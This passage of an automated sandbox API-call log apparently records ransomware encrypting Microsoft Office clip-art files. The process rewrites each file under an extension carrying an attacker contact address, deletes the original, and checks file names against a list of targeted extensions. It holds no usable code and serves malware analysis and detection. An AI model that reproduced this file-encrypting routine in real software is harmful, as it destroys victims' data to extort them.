	[0164.518] GetLastError () returned 0x0
	[0164.518] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1434, lpOverlapped=0x0) returned 1
	[0164.537] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1440, lpOverlapped=0x0) returned 1
	[0164.538] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.538] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.538] SetEndOfFile (hFile=0x350) returned 1
	[0164.538] CloseHandle (hObject=0x350) returned 1
	[0164.539] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.539] SetEndOfFile (hFile=0x55c) returned 1
	[0164.547] CloseHandle (hObject=0x55c) returned 1
	[0164.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1
	[0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.551] lstrlenW (lpString=".doc") returned 4
	[0164.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.551] lstrlenW (lpString=".docx") returned 5
	[0164.552] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.552] lstrlenW (lpString=".pdf") returned 4
	[0164.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.552] lstrlenW (lpString=".xls") returned 4
	[0164.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.552] lstrlenW (lpString=".xlsx") returned 5
	[0164.552] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.553] lstrlenW (lpString=".ppt") returned 4
	[0164.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.553] lstrlenW (lpString=".zip") returned 4
	[0164.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.553] lstrlenW (lpString=".rar") returned 4
	[0164.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.553] lstrlenW (lpString=".bz2") returned 4
	[0164.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.553] lstrlenW (lpString=".7z") returned 3
	[0164.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.554] lstrlenW (lpString=".dbf") returned 4
	[0164.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.555] lstrlenW (lpString=".1cd") returned 4
	[0164.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0164.555] lstrlenW (lpString=".jpg") returned 4
	[0164.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.557] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5632) returned 1
	[0164.558] CloseHandle (hObject=0x55c) returned 1
	[0164.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220
	[0164.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.961] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.961] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0164.962] GetLastError () returned 0x0
	[0164.962] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1600, lpOverlapped=0x0) returned 1
	[0165.007] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1610, lpOverlapped=0x0) returned 1
	[0165.008] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.008] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.008] SetEndOfFile (hFile=0x360) returned 1
	[0165.009] CloseHandle (hObject=0x360) returned 1
	[0165.009] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.009] SetEndOfFile (hFile=0x554) returned 1
	[0165.013] CloseHandle (hObject=0x554) returned 1
	[0165.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1
	[0165.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.014] lstrlenW (lpString=".doc") returned 4
	[0165.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.014] lstrlenW (lpString=".docx") returned 5
	[0165.014] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.015] lstrlenW (lpString=".pdf") returned 4
	[0165.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.015] lstrlenW (lpString=".xls") returned 4
	[0165.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.015] lstrlenW (lpString=".xlsx") returned 5
	[0165.015] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.015] lstrlenW (lpString=".ppt") returned 4
	[0165.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.015] lstrlenW (lpString=".zip") returned 4
	[0165.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.015] lstrlenW (lpString=".rar") returned 4
	[0165.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.015] lstrlenW (lpString=".bz2") returned 4
	[0165.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.015] lstrlenW (lpString=".7z") returned 3
	[0165.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.015] lstrlenW (lpString=".dbf") returned 4
	[0165.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.015] lstrlenW (lpString=".1cd") returned 4
	[0165.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0165.016] lstrlenW (lpString=".jpg") returned 4
	[0165.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.016] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=11228) returned 1
	[0165.016] CloseHandle (hObject=0x554) returned 1
	[0165.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220
	[0165.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.018] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.018] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.019] GetLastError () returned 0x0
	[0165.019] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2bdc, lpOverlapped=0x0) returned 1
	[0165.059] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0165.060] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.060] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.061] SetEndOfFile (hFile=0x360) returned 1
	[0165.061] CloseHandle (hObject=0x360) returned 1
	[0165.061] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.061] SetEndOfFile (hFile=0x554) returned 1
	[0165.065] CloseHandle (hObject=0x554) returned 1
	[0165.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1
	[0165.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.068] lstrlenW (lpString=".doc") returned 4
	[0165.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.068] lstrlenW (lpString=".docx") returned 5
	[0165.068] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.068] lstrlenW (lpString=".pdf") returned 4
	[0165.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.068] lstrlenW (lpString=".xls") returned 4
	[0165.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.068] lstrlenW (lpString=".xlsx") returned 5
	[0165.068] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.068] lstrlenW (lpString=".ppt") returned 4
	[0165.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.068] lstrlenW (lpString=".zip") returned 4
	[0165.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.068] lstrlenW (lpString=".rar") returned 4
	[0165.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.068] lstrlenW (lpString=".bz2") returned 4
	[0165.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.068] lstrlenW (lpString=".7z") returned 3
	[0165.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.068] lstrlenW (lpString=".dbf") returned 4
	[0165.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.069] lstrlenW (lpString=".1cd") returned 4
	[0165.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0165.069] lstrlenW (lpString=".jpg") returned 4
	[0165.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.069] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=19328) returned 1
	[0165.069] CloseHandle (hObject=0x554) returned 1
	[0165.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220
	[0165.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.071] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.071] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.072] GetLastError () returned 0x0
	[0165.072] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4b80, lpOverlapped=0x0) returned 1
	[0165.105] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4b90, lpOverlapped=0x0) returned 1
	[0165.290] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.290] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.290] SetEndOfFile (hFile=0x360) returned 1
	[0165.794] CloseHandle (hObject=0x360) returned 1
	[0165.794] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.794] SetEndOfFile (hFile=0x554) returned 1
	[0165.799] CloseHandle (hObject=0x554) returned 1
	[0165.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1
	[0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.801] lstrlenW (lpString=".doc") returned 4
	[0165.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.801] lstrlenW (lpString=".docx") returned 5
	[0165.801] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.801] lstrlenW (lpString=".pdf") returned 4
	[0165.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString=".xls") returned 4
	[0165.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.802] lstrlenW (lpString=".xlsx") returned 5
	[0165.802] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.802] lstrlenW (lpString=".ppt") returned 4
	[0165.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.802] lstrlenW (lpString=".zip") returned 4
	[0165.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.802] lstrlenW (lpString=".rar") returned 4
	[0165.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString=".bz2") returned 4
	[0165.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString=".7z") returned 3
	[0165.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.802] lstrlenW (lpString=".dbf") returned 4
	[0165.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.802] lstrlenW (lpString=".1cd") returned 4
	[0165.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0165.802] lstrlenW (lpString=".jpg") returned 4
	[0165.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.804] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=11540) returned 1
	[0165.804] CloseHandle (hObject=0x554) returned 1
	[0165.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220
	[0165.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.805] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.805] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.815] GetLastError () returned 0x0
	[0165.815] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2d14, lpOverlapped=0x0) returned 1
	[0165.832] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2d20, lpOverlapped=0x0) returned 1
	[0165.838] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.839] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.839] SetEndOfFile (hFile=0x360) returned 1
	[0165.839] CloseHandle (hObject=0x360) returned 1
	[0165.839] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.839] SetEndOfFile (hFile=0x554) returned 1
	[0165.843] CloseHandle (hObject=0x554) returned 1
	[0165.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1
	[0165.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.844] lstrlenW (lpString=".doc") returned 4
	[0165.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.844] lstrlenW (lpString=".docx") returned 5
	[0165.844] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.844] lstrlenW (lpString=".pdf") returned 4
	[0165.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.844] lstrlenW (lpString=".xls") returned 4
